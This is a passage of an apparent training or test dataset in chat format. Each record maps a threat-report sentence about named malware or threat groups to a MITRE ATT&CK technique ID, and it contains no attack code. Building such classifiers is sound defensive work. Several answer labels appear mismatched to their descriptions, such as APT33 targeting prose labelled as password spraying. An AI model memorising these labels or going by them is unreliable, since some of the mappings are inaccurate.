                "role": "user",
                "content": "HAWKBALL has the ability to delete files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Download and execution of ntbscan (SHA-1: 90da10004c8f6fafdaa2cf18922670a745564f45) – NetBIOS scanner tool widely used by multiple APT actor including the prolific Chinese group APT10 - Execution of Windows built-in networking utility tools - Access to the victim’s files, especially documents located on the Desktop"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Duqu is capable of loading executable code via process hollowing."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Next, the buffer is encrypted using the RC4 algorithm with the 50-byte key (also stored in the backdoor’s body)"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole has been configured with several servers available for alternate C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Helminth splits data into chunks up to 23 bytes and sends the data in DNS queries to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can create a memory dump of LSASS via the `MiniDumpWriteDump Win32` API call."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "httpclient encrypts C2 content with XOR using a single byte, 0x12."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can enumerate host system information like OS, architecture, domain name, applied patches, and more."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It executes the other modules and collects initial information about the machine, including information about the network, locale, and the keyboard language.    The main module collecting information about the machine"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery', 'T1016 - System Network Configuration Discovery', 'T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can perform DLL injection."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet uses a Windows rootkit to mask its binaries and other relevant files."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses XOR with random keys for its communications."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the Waterbear DLL loader is executed, it searches for a hardcoded path and tries to decrypt the corresponding payload, which is a piece of encrypted shellcode. The decryption algorithm is RC4, which takes the hardcoded path to form the decryption key. If the decrypted payload is valid, it picks a specific existing Windows Service — LanmanServer, which is run by svchost.exe — and injects the decrypted shellcode into the legitimate service. In most cases, the payload is a first-stage backdoor, and its main purpose is to retrieve second-stage payloads — either by connecting to a C&amp;C server or opening a port to wait for external connections and load incoming executables"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has used RDP to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Matryoshka is capable of stealing Outlook passwords."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "scans the C-class subnet of the IPs on the victim's interfaces."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Trickbot is installed as a scheduled task, using names like “WinDotNet,” “GoogleTask,” or “Sysnetsf” to masquerade as legitimate-appearing processes. These point to various copies of TrickBot installed in the system, usually within the user profile under %USER_DIR%\\AppData\\Roaming\\ or a subdirectory. The subdirectories also use similarly misleading names like “WinDefrag” or “NetSocket” to appear innocuous. TrickBot may also be installed as a service with names like “ControlServiceA” that points to a copy in the system drive root"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service', 'T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BITSAdmin can be used to create BITS Jobs to upload files from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Blue Mockingbird has used Windows Explorer to manually copy malicious files to remote hosts over SMB."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to gather information about the operating system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses WMI to check for anti-virus software installed on the system."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bankshot writes data into the Registry key \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Pniumj\"."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM has used an RSS feed on Livejournal to update a list of encrypted C2 server names."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Egregor has used rundll32 during execution."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DCSrv's configuration is encrypted."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA551 has used encoded ASCII text for initial C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has used command-line interfaces for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used automated collection."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "yty has some basic anti-sandbox detection that tries to detect Virtual PC, Sandboxie, and VMware."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In early February 2022, we witnessed an intrusion employing Gootloader (aka GootKit) as the initial access vector. The intrusion lasted two days and comprised discovery, persistence, lateral movement, collection, defense evasion, credential access and command and control activity. During the post-exploitation phase, the threat actors used RDP, WMI, Mimikatz, Lazagne,… ."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  RAT has a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Darkhotel's selective infector modifies executables stored on removable media as a method of spreading across computers."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ruler can be used to enumerate Exchange users and dump the GAL."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hildegard has packed ELF files into other binaries."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke has used SSH private keys on the infected machine to spread its coinminer throughout a network."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Smoke Loader recursively searches through directories for files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Another interesting characteristic of the malicious documents is that the metadata associated with the document files themselves also matches that found in many of the malicious documents that were previously being used to spread Remcos.Figure 3: Document metadataAdditionally, the creation and modification dates associated with these documents are shortly after we released a detailed analysis of Remcos distribution campaigns that were being observed throughout 2018"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit used, named EternalBlue, exploits a vulnerability in the Server Message Block (SMB) protocol which allows the malware to spread to all unpatched Windows systems from XP to 2016 on a network that have this protocol enabled. This vulnerability allows remote code execution over SMB v1. WannaCry utilizes this exploit by crafting a custom SMB session request with hard-coded values based on the target system"
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 used batch scripts to enumerate users on a victim domain controller."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While the IronPython scripts are only the first part of the tool, the main task of loading malware is done by an embedded process injector. We dubbed this toolchain IronNetInjector, the blend of IronPython and the injector’s internal project name NetInjector. In this blog, we describe the IronPython scripts and how they’re used to load one or more payloads with the help of an injector"
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python', 'T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sakula uses HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FireEye Intelligence has previously reported that APT33 has ties to destructive malware, and they pose a heightened risk to critical infrastructure. This risk is pronounced in the energy sector, which we consistently observe them target. That targeting aligns with Iranian national priorities for economic growth and competitive advantage, especially relating to petrochemical production"
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil has encrypted C2 communications with the ECIES algorithm."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "However, in this new variant, all the DNS activity is initiated and executed solely from memory – unlike previous attacks which used PowerShell commands"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has run a keylogger plug-in on a victim."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "VERMIN gathers the local IP address."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can take regular screenshots when certain applications are open that are sent to the command and control server."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "USBferry can use \"tasklist\" to gather information about the process running on the infected system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses DNS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper has started a web service in the target host and wait for the adversary to connect, acting as a web shell."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used multiple proxies to obfuscate network traffic from victims."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attack is part of a trend where threat groups hide malicious activity by communicating with legitimate web services such as social networking and cloud storage sites to foil detection efforts.[2][3] A Cyber Campaign Likely Intended to Monitor Hong Kong Media During a Period of Crisis The threat group has previously used newsworthy events as lures to deliver malware.[4] They have largely targeted organizations involved in financial, economic and trade policy, typically using publicly available RATs such as Poison Ivy, as well some non-public backdoors.[5] The group started targeting Hong Kong media companies, probably in response to political and economic challenges in Hong Kong and China"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar has been signed with fake certificates including those appearing to be from VB CORPORATE PTY. LTD."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used the Plink command-line utility to create SSH tunnels to C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel', 'T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To perform this task, the developer used the GDI API: A keylogger is also present in the analyzed sample. The SetWindowsHookEx() API is used to retrieve the stroked keys. The GetKeyNameText() API is used to retrieve a string that represents the name of a key. In addition to the key, the title of the foreground window is stored in order to known where the infected user is typing (by using the GetForegroundWindow() and GetWindowText() API"
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WarzoneRAT has the capability to act as a reverse proxy."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rising Sun can delete files and artifacts it creates."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the victim's IP address."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors used a script to collect information about the infected system."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware encrypts user files, demanding a fee of either $300 or $600 worth of bitcoins to an address specified in the instructions displayed after infection"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 used HTTP to download payloads for CVE-2019-19781 and CVE-2020-10189 exploits."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Explosive has a function to call the OpenClipboard wrapper."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before writing to disk, Kwampirs inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A SUGARDUMP variant used SMTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Message 3:    Headers Received: by mailcenter.support   Sender Mercator Institute for China Studies <publications@mericcs.org>   Subject Authoritarian advance Responding to Chinas growing political influence in Europe   Body Content and images included within the e-mail body were a direct copy of the following MERICS report:  https://www.merics.org/sites/default/files/2018-02/GPPi_MERICS_Authoritarian_Advance_2018_1.pdf   Notes The hyperlinked text Click here to download the report within the e-mail body lead to a malicious RTF document located at the URL hxxp://www.mericcs.org/GPPi_MERICS_Authoritarian_Advance_2018_1Q.doc"
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mongall can download files to targeted systems."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MSTIC has observed NICKEL actors using exploits against unpatched systems to compromise remote access services and appliances. Upon successful intrusion, they have used credential dumpers or stealers to obtain legitimate credentials, which they used to gain access to victim accounts. NICKEL actors created and deployed custom malware that allowed them to maintain persistence on victim networks over extended periods of time. MSTIC has also observed NICKEL perform frequent and scheduled data collection and exfiltration from victim networks"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery', 'T1119 - Automated Collection', 'T1587.001 - Malware', 'T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PipeMon can install additional modules via C2 commands."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nidiran can create a new service named msamger (Microsoft Security Accounts Manager)."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cuba can discover shared resources using the \"NetShareEnum\" API call."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors enumerated files and directories or may search in specific locations of a host or network share for certain information within a file system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has functionality to copy itself to network shares."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LazyScripter has used batch files to deploy open-source and multi-stage RATs."
            },
            {
                "role": "assistant",
